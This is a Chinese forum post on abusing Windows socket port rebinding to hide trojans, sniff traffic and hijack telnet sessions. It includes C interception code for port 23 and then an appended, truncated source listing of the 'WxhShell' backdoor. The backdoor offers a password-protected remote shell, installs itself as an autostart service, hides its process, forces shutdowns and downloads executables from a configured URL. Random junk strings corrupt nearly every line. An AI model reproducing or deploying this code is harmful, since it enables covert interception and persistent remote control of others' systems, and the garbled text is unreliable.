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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E`JW4)AH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z4BU}`;b3t  
k;cX,*DIn  
  saddr.sin_family = AF_INET; 2#5Q~  
_J,rql@nG<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .qohHJ&  
na $MR3@e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xn=yC Pi  
2_u+&7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z ;rM@x  
H*k\C  
  这意味着什么?意味着可以进行如下的攻击: }(u:K}8  
PRiE2Di2S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kZ@UQ{>`  
${z#{c1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MMKN^a"GA  
V1M|p!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OW};i|  
meV Z_f/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <B|b'XVH2  
$Q#n'#c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PQl A(v+S  
Tf5m YCk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T:kliM"z  
4Us,DS_/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [n/c7Pe  
/ S' +  
  #include :l]qTCmY  
  #include n.9k5r@  
  #include 3xz~##  
  #include    W"@'}y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RYvcuA)  
  int main() =\2gnk~  
  {  YMv}]  
  WORD wVersionRequested; g$e|y#Ic$  
  DWORD ret; Cx~;oWZ  
  WSADATA wsaData; Mn&_R{{=  
  BOOL val; 7WSP0Xyz  
  SOCKADDR_IN saddr; C=oeRc'r1W  
  SOCKADDR_IN scaddr; xF3FY0U[  
  int err; L"9Z{o7  
  SOCKET s; 3s%DF,  
  SOCKET sc; ef7 U7   
  int caddsize; U 5j4iz'  
  HANDLE mt; FY Flh^}  
  DWORD tid;   * FEJ5x  
  wVersionRequested = MAKEWORD( 2, 2 ); FXT^r3  
  err = WSAStartup( wVersionRequested, &wsaData ); +p>h` fc  
  if ( err != 0 ) { q)?!]|pZ  
  printf("error!WSAStartup failed!\n"); ~ :{mKc  
  return -1; [g}#R#Y)  
  } vde!k_,wZ  
  saddr.sin_family = AF_INET; `-U?{U}H  
   6B@e[VtG$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xe&9| M  
%`s#p` Ol1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tH0x|  
  saddr.sin_port = htons(23); ?QF xds  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  "9[2vdSX  
  { ;&|I/MVm  
  printf("error!socket failed!\n"); ]SAY\;,_  
  return -1; 1mtYap4  
  } 0sw;h.VY  
  val = TRUE; 2jhJXM=~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NGi)Lh|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +UOVD:G  
  { 4Dzg r,V  
  printf("error!setsockopt failed!\n"); P4yUm(@  
  return -1; {ly<%Q7j  
  } ]m`:T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]pB5cq7o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^NX;z c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q;>Yk_(S  
1O0)+9T82  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AfO.D ?4x  
  { T.z efoZ  
  ret=GetLastError(); NL|c5y<r  
  printf("error!bind failed!\n"); 7P2(q  
  return -1; a,4GE'  
  } Zp[>[1@+  
  listen(s,2); a3MI+  
  while(1) WPr:d  
  { F(/<ADx  
  caddsize = sizeof(scaddr); r<(UN@T}  
  //接受连接请求 E71H=C 4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $A5O>  
  if(sc!=INVALID_SOCKET) Kp7)my  
  { X4\T=Q?uLx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Or$"f3gq  
  if(mt==NULL) ?1r;6  
  { QPp31o.!5  
  printf("Thread Creat Failed!\n"); ~eP~c"L  
  break; JP"#9f  
  } #"r_ 3  
  } HhCFAq"j  
  CloseHandle(mt); KY< $+/B!  
  } $$p +~X  
  closesocket(s); jdVj FCl^#  
  WSACleanup(); 1Z_w2D*  
  return 0; QhTn9S:D  
  }   t5b c Q@Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) @kDY c8 t9  
  { _-{=Z=?6}  
  SOCKET ss = (SOCKET)lpParam; 1+3-Z>^e  
  SOCKET sc; 3TjyKB *!  
  unsigned char buf[4096]; dzbbFvG  
  SOCKADDR_IN saddr; :8bq0iqsV  
  long num;  \>"Zn7  
  DWORD val; +|GHbwvp  
  DWORD ret; b(U5n"cdA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #sF#<nHZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hEo$Jz`  
  saddr.sin_family = AF_INET; ]==7P;_-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K ~-V([tWg  
  saddr.sin_port = htons(23); 2 7dS.6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5IzCQqOPgX  
  { T,/<'cl"  
  printf("error!socket failed!\n"); U74L:&y LI  
  return -1; =C(BZ+-^  
  } ]YZ_kc^(V;  
  val = 100; <x<qO=lq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vnbY^ASdw  
  { &a\w+  
  ret = GetLastError(); &'/PEOu&}G  
  return -1; 3zfiegY@wm  
  } ~3Qa-s;g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) leSBR,C  
  { /'VuMMJ2  
  ret = GetLastError(); 1bw$$QXC_  
  return -1; ODpAMt"  
  } beYGP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wS$ 'gKA6  
  { d8 v9[ 4  
  printf("error!socket connect failed!\n"); V$$9Rh  
  closesocket(sc); 79 _8Oh  
  closesocket(ss); k'F*uS  
  return -1; DN*M-o9  
  } iV@\v0k  
  while(1) 9.~ _swkv  
  { ]CU)#X<J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [zP}G?(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pu!C,7vUQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "tmu23xQ  
  num = recv(ss,buf,4096,0); 1p/_U?H:|  
  if(num>0) d"3x11|  
  send(sc,buf,num,0); {=!BzNMj  
  else if(num==0) ^^uY)AL  
  break; 6 P(jc  
  num = recv(sc,buf,4096,0); %F-yF N"  
  if(num>0) $_HyE%F#  
  send(ss,buf,num,0); ZX+0{E8a  
  else if(num==0) 0#Q]>V@rO4  
  break; P()&?C  
  } rnMi >?  
  closesocket(ss); D}ZPgt#   
  closesocket(sc); !q/Q2N(  
  return 0 ; BdvpG  
  } Zl!  
#QOb[9(Tu(  
E 6Uj8]P`  
========================================================== ?u{Mz9:?HT  
s"tH?m )6  
下边附上一个代码,,WXhSHELL S?'L%%Vo  
1v|0&{lB  
========================================================== HmsXV_B8[Y  
@YS,)U)4S  
#include "stdafx.h" V^ ;l g[:  
'wBOnGi6  
#include <stdio.h> Qe9}%k6@E  
#include <string.h> 7<8'7<X  
#include <windows.h> j\B taC  
#include <winsock2.h> 3s*mq@~1X  
#include <winsvc.h> `'(@"-L:7  
#include <urlmon.h> 6|6O| <o  
p NQ@aJ  
#pragma comment (lib, "Ws2_32.lib") 9CIQRc  
#pragma comment (lib, "urlmon.lib") Vd) %qw  
cqb6]  
#define MAX_USER   100 // 最大客户端连接数 ^6CPC@B1  
#define BUF_SOCK   200 // sock buffer axXR-5c  
#define KEY_BUFF   255 // 输入 buffer ;'!h(H  
r24 s_  
#define REBOOT     0   // 重启 kMa|V0  
#define SHUTDOWN   1   // 关机 Z0V6cikW6  
54s90  
#define DEF_PORT   5000 // 监听端口 6l"4F6  
@'J~(#}  
#define REG_LEN     16   // 注册表键长度 Z#;\Rb.x7  
#define SVC_LEN     80   // NT服务名长度 hn&NypI  
5!6iAS+I  
// 从dll定义API _|{pO7x]oG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i MS4<`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7{rRQ~s&g9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sv\=/F@n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,>pv>)u{  
Y\(?&7Aax  
// wxhshell配置信息 puF*WxU)  
struct WSCFG { 0V2~  
  int ws_port;         // 监听端口 p+2%LYR u  
  char ws_passstr[REG_LEN]; // 口令 z`dnS]q9  
  int ws_autoins;       // 安装标记, 1=yes 0=no :`@W`V?6-  
  char ws_regname[REG_LEN]; // 注册表键名 W3MH8z   
  char ws_svcname[REG_LEN]; // 服务名 p5nrPL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tKi ^0vE8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <V8=*n"mR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^h<ElK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VhgcvS@V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s"wz !{G4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =NRiro  
IPY[x|  
}; ,;=is.h9  
<z wI@i  
// default Wxhshell configuration  <j_  
struct WSCFG wscfg={DEF_PORT, eTtiAF=bW  
    "xuhuanlingzhe", # o\&G@e}  
    1, bU4\Yu   
    "Wxhshell", 0}Q d  
    "Wxhshell", fAT M?  
            "WxhShell Service", _oU~S$hO  
    "Wrsky Windows CmdShell Service", t..@69  
    "Please Input Your Password: ", HhTD/   
  1, g3(?!f  
  "http://www.wrsky.com/wxhshell.exe", _[hVGCSB  
  "Wxhshell.exe" <ou=f'  
    }; j6rwlwN  
d\ Xijy  
// 消息定义模块 dpcv'cRfw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r?Pk}Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Op iVQr:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lYrW"(2  
char *msg_ws_ext="\n\rExit."; <+`}: A  
char *msg_ws_end="\n\rQuit."; 0n)UvJ  
char *msg_ws_boot="\n\rReboot..."; 6"bdbV=t  
char *msg_ws_poff="\n\rShutdown..."; Hg[AulNna  
char *msg_ws_down="\n\rSave to "; f[$Z<:D-ve  
WTC/mcS  
char *msg_ws_err="\n\rErr!"; *&F~<HC2+  
char *msg_ws_ok="\n\rOK!"; 73E[O5?b  
t(- 5l  
char ExeFile[MAX_PATH]; ~0{F,R.$  
int nUser = 0; vqwSOh|P9  
HANDLE handles[MAX_USER]; #X<s_.7DJ  
int OsIsNt; `]l[p+DO  
{/qq*0wa  
SERVICE_STATUS       serviceStatus; cvnRd.&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^0"[l {  
/gLi(Uw  
// 函数声明 s|Zv>Qt  
int Install(void); $Mqw)X&q  
int Uninstall(void); >!P !F(  
int DownloadFile(char *sURL, SOCKET wsh); "Ze<dB#,Y  
int Boot(int flag); 7t/C:2^&  
void HideProc(void); onUF@3V  
int GetOsVer(void); 0^ $6U  
int Wxhshell(SOCKET wsl); F:2V;  
void TalkWithClient(void *cs); }?%5Ae7l,  
int CmdShell(SOCKET sock); n{.SNipU  
int StartFromService(void); }{)>aJ  
int StartWxhshell(LPSTR lpCmdLine); :YN,cId*  
%R*-oQ1T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yLCJSN$7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2-u9%  
 f(*^zga,  
// 数据结构和表定义 )}R w@70L-  
SERVICE_TABLE_ENTRY DispatchTable[] = Q-f?7*>  
{ _i1x\Z~ N  
{wscfg.ws_svcname, NTServiceMain}, kT{d pGU9  
{NULL, NULL} G(7WUMjl  
}; HY'-P&H5(  
q*K.e5"'  
// 自我安装 o[K,(  
int Install(void) }JBLzk5|  
{ {o.i\"x;  
  char svExeFile[MAX_PATH]; ^y&sKO  
  HKEY key; 1bJrEXHXy  
  strcpy(svExeFile,ExeFile); #ZpR.$`k  
i}e OWi  
// 如果是win9x系统,修改注册表设为自启动 x-=qlg&EI  
if(!OsIsNt) { dy2<b+ ..  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BjCg!6`XF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <bgFc[Z  
  RegCloseKey(key); 6 VuMx7W1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nfjwWDH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;_= +h,n  
  RegCloseKey(key); *z\L  
  return 0; c7(Lk"G8  
    } YST{ h{  
  } 5Qgh\4  
} =LMM]'no,  
else { 0:4w@"Q  
qEV>$>}  
// 如果是NT以上系统,安装为系统服务 ju?D=n@i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G^/8lIj  
if (schSCManager!=0) Mi&jl_&  
{ TbA=bkj[4  
  SC_HANDLE schService = CreateService \ POQeZ  
  ( 5\eM3w'd  
  schSCManager, ; )J\k2  
  wscfg.ws_svcname, nf9NJ_8}4H  
  wscfg.ws_svcdisp, B1Cu?k);.  
  SERVICE_ALL_ACCESS, l|&DI]gw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0P_3%   
  SERVICE_AUTO_START, ^5BQ=  
  SERVICE_ERROR_NORMAL, \J,pV  
  svExeFile, O4A{GO^q  
  NULL, &S+o oj  
  NULL, Ow4H7 sl  
  NULL, uiIS4S_  
  NULL, L9":=  
  NULL _iZ_.3 Ip  
  ); ky-9I<Z,,  
  if (schService!=0) r5S5;jL%t  
  { Z1ZjQt#~+  
  CloseServiceHandle(schService); /32x|Ow# 1  
  CloseServiceHandle(schSCManager); Z. G<'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wxSJ  
  strcat(svExeFile,wscfg.ws_svcname); E+e:UBeUV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Kf8,|+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v)J(@>CZ[  
  RegCloseKey(key); \t^h|<`  
  return 0; M|xs>+r*  
    } 2Bg0 M  
  } Y ]6kA5  
  CloseServiceHandle(schSCManager); `PApmS~} .  
} Vmf !0-  
} ]ovb!X_  
hO] vy>i;  
return 1; H$={i$*,Y  
} M"Q{lR  
];8S<KiS~  
// 自我卸载 .DG`~Fpk  
int Uninstall(void) UY$Lqe~  
{ 7@uhw">mX  
  HKEY key; @Xg5 E  
o{?Rz3z  
if(!OsIsNt) { 4RoE>m1[G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g,] GzHV1  
  RegDeleteValue(key,wscfg.ws_regname); Ek%mX"  
  RegCloseKey(key); XlDN)b5v{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `4kVe= {  
  RegDeleteValue(key,wscfg.ws_regname); ].r~?9'/  
  RegCloseKey(key); {IA3`y~  
  return 0; ::R5F4  
  }  \qj(`0HG  
} SM8Wg>  
} 0S71&I$u]  
else { G24 Ov&H  
7/b\NLeJ'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )LDBvpJyQ  
if (schSCManager!=0) ee\QK,QV  
{ #$0*Gd-N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !}PZCbDhL  
  if (schService!=0) B Ms?+  
  { w9]HJ3qi  
  if(DeleteService(schService)!=0) { iininITOS{  
  CloseServiceHandle(schService); ;Qq<5I"y  
  CloseServiceHandle(schSCManager); m;@8z[ ^5  
  return 0; f1,VbuS9I  
  } L| K8  
  CloseServiceHandle(schService); zW9/[Db  
  } {DWL 5V#M  
  CloseServiceHandle(schSCManager); [Lal_}m?  
} 33z^Q`MTC  
} IB\O[R$x  
}NpN<C+  
return 1; wlsq[x P  
} 0 n}2D7  
-"uOh,G}  
// 从指定url下载文件 *r(Qy0(  
int DownloadFile(char *sURL, SOCKET wsh) {U"=}j(  
{ d`9ofw~3=  
  HRESULT hr; z,xGjS P  
char seps[]= "/"; yB2}[1  
char *token; WiiAIv&  
char *file; IC6r?  
char myURL[MAX_PATH]; +*L<"@  
char myFILE[MAX_PATH]; k$3Iv"gbx  
Cm%|hk>fQ  
strcpy(myURL,sURL); ,4--3 MU  
  token=strtok(myURL,seps); GW,RE\Q:  
  while(token!=NULL) / ?Hq  
  { {L/hhKT  
    file=token; F_-}GN%  
  token=strtok(NULL,seps); Xb2.t^ ]f  
  } jG["#5<?  
7&&3@96<*#  
GetCurrentDirectory(MAX_PATH,myFILE); tE WolO[\  
strcat(myFILE, "\\"); 7A"v:e  
strcat(myFILE, file); z9Nial`p  
  send(wsh,myFILE,strlen(myFILE),0); #Oi{7~  
send(wsh,"...",3,0); 4t,f$zk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _qa9wK/  
  if(hr==S_OK) |'qvq/#^  
return 0; /(8"9Sfm  
else :Lu 9w0>f  
return 1; #5%ipWPHb  
O;+ sAt  
} L(o#)I>j  
Ubm]V{7  
// 系统电源模块 ^C'{# p"  
int Boot(int flag) pv8vW'G\E  
{ suHi sc*  
  HANDLE hToken; @Nn'G{8OG  
  TOKEN_PRIVILEGES tkp; %>- ?oor  
=z zmz7op  
  if(OsIsNt) { `Z^\<{z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [JYy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BU.O[?@64  
    tkp.PrivilegeCount = 1; sB8v:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {t!Pv 2y<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qs {wrem  
if(flag==REBOOT) { >|aVGY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KAg-M#  
  return 0; 9AJ"C7  
} K57u87=*X?  
else { MU:q`DRr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i}5M'~ F  
  return 0; apjoIO-<  
} 4JRQ=T|P7I  
  } zZ94_8b  
  else { K-[;w$np0  
if(flag==REBOOT) { |7QSr!{_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~S\,  
  return 0; xnxNc5$oE  
} Rxlz`&   
else { EY^?@D_<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Je4hQJ<h  
  return 0; o .( Gja4  
} ; )FmN[  
} tyFsnc k  
4%#q.qI  
return 1; Vsr"W@k_  
} fJ=v?  
QXW> }GdKZ  
// win9x进程隐藏模块 qOv`&%txW  
void HideProc(void) 7(d#zu6n  
{ *dN_=32u  
KM?w{ ~9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -S#jOr  
  if ( hKernel != NULL ) TE: |w Xe  
  { 8[;AFm?,`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PD~vq^@Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s|I$c;>  
    FreeLibrary(hKernel); CEAmb[h  
  } #v; :K8  
=IKgi-l*  
return; Gk xtGe  
} $]rC-K:Z  
NQA2usb  
// 获取操作系统版本 =]S,p7*7  
int GetOsVer(void) B(f_~]  
{ %C_c%3d  
  OSVERSIONINFO winfo; kbo9nY1k g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &?}A/(#  
  GetVersionEx(&winfo); ~C>clkZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a$\ Bt_  
  return 1; H@b4(6  
  else nok-![  
  return 0; "'C5B>qO  
} =;(L$:l~  
~E/=nv$  
// 客户端句柄模块 v#EFklOP  
int Wxhshell(SOCKET wsl) ^7a@?|,q8  
{ k136n#KN1  
  SOCKET wsh; Ri\\Yb  
  struct sockaddr_in client; f!H/X%F  
  DWORD myID; H%>^_:h  
B<ue}t  
  while(nUser<MAX_USER) > `mV^QD  
{ %=$Knc_!T^  
  int nSize=sizeof(client); yy+:x/(N[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &*74 5,e  
  if(wsh==INVALID_SOCKET) return 1; WrS>^\:  
q\-P/aN_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F]fXS-@ c  
if(handles[nUser]==0) z,bK.KFSs  
  closesocket(wsh); t1NGs-S3  
else G;d3.ml/aZ  
  nUser++; ~nb(e$?N  
  } m2P&DdN[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T0~~0G)k  
@1xIph<z  
  return 0; z{&z  
} !^o{}*]Pi  
 56MY@  
// 关闭 socket YrYmPSb=  
void CloseIt(SOCKET wsh) |QD#Dx1_  
{ ; +.cD  
closesocket(wsh); c3 )jsf  
nUser--; iXq*EZb"R  
ExitThread(0); o/Q|R+yXV  
} " %qr*|  
:K5?&kT  
// 客户端请求句柄 D)Ep!`Q   
void TalkWithClient(void *cs) )U7fPKQ  
{ 1wm`a  
^!x! F  
  SOCKET wsh=(SOCKET)cs; @biU@[D  
  char pwd[SVC_LEN]; -+M360  
  char cmd[KEY_BUFF]; =XK}eQ_d  
char chr[1]; | KY-kRN7  
int i,j; <LzxnTx=  
V%z?wDC  
  while (nUser < MAX_USER) { ens]?,`0  
_]-4UA-  
if(wscfg.ws_passstr) { I9Uj3cL\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G&@d J &B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O=*,  
  //ZeroMemory(pwd,KEY_BUFF); bt(Y@3;  
      i=0; )EQz9  
  while(i<SVC_LEN) { v~yw-}fk%  
H^54o$5  
  // 设置超时 w/"vf3}(9  
  fd_set FdRead; \.}ZvM$  
  struct timeval TimeOut; %H;}+U]Z  
  FD_ZERO(&FdRead); 8a&c=9  
  FD_SET(wsh,&FdRead); |a a\t  
  TimeOut.tv_sec=8; K&RIF]0#G  
  TimeOut.tv_usec=0; 4HR36=E6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ' Ttsscv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ![nL/  
S;jD@j\t&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tv`b##  
  pwd=chr[0]; 1X7GM65#  
  if(chr[0]==0xd || chr[0]==0xa) { tC(MaI  
  pwd=0; : p)R,('g  
  break; Dy>6L79G  
  } Jm#p!G+  
  i++; ck%YEMs  
    } Vo+.s#wN`h  
9_nbMs   
  // 如果是非法用户,关闭 socket '=%`;?j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vm{8x o  
} ,Q3OQ[Nmh  
/}J_2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -*Rf [|Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KO~KaN  
nlI3|5  
while(1) { {I0U 4]  
\HkBp& bqK  
  ZeroMemory(cmd,KEY_BUFF); l qwy5#  
[z ]P5  
      // 自动支持客户端 telnet标准   y.}{KQ"a*  
  j=0; ,msP(*qoI  
  while(j<KEY_BUFF) { g1}:;VG=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'RhS%l  
  cmd[j]=chr[0]; Jwfb%Xge~  
  if(chr[0]==0xa || chr[0]==0xd) { %8h=_(X\7  
  cmd[j]=0;  <7SE|  
  break; /e[m;+9^&  
  } zi3v, Kq  
  j++; iETUBZ  
    } ~[dL:=?c  
WcoA)we  
  // 下载文件 M_Q`9  
  if(strstr(cmd,"http://")) { ZSW@,Ti  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c"-X: m"  
  if(DownloadFile(cmd,wsh)) XzSl"UPYH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+p}%!g  
  else Q{?\qCrrYl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dNNXMQ0"  
  } [@5cYeW3.  
  else { `2LmLFkb  
2G$p x  
    switch(cmd[0]) { fP5i3[T  
  'I+S5![<  
  // 帮助 'W4B  
  case '?': { r~YBj>}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }$ySZa9  
    break; .r{t&HO;Y  
  } M2p|&Z%  
  // 安装 )[J!{$&y  
  case 'i': { ~tyqvHC  
    if(Install()) 9#:fQ!3`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +_$s9`@]6  
    else "igA^^?X1N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R9 Ab.t  
    break; ]Idwy|eG  
    } T4Vp0i  
  // 卸载 {U$XHG  
  case 'r': { R]e&JoY  
    if(Uninstall()) Z37Dv;&ZD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dor1(@no|  
    else |LZ{kD|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iu(obmh/o  
    break; >r7PK45.K  
    } #b;k+<n[X  
  // 显示 wxhshell 所在路径 mRRZ/m?A(  
  case 'p': { E;{CoL  
    char svExeFile[MAX_PATH]; |h 6!bt!=  
    strcpy(svExeFile,"\n\r"); vs[!B-  
      strcat(svExeFile,ExeFile); D (8Z90  
        send(wsh,svExeFile,strlen(svExeFile),0); 4'*-[TKC  
    break; 3<+ZA-2  
    } V0Oqq0\  
  // 重启 }BU%<5CQ  
  case 'b': { ?A7 AVR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -,+C*|mu  
    if(Boot(REBOOT)) BJb,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &V$cwB  
    else { h&CZN !  
    closesocket(wsh); 2ua!<^,  
    ExitThread(0); 7yT/t1)  
    } fh3uo\`@  
    break; XPqGv=CN  
    } =v?P7;T  
  // 关机 VgIk'.  
  case 'd': { GiX3c^V"1  
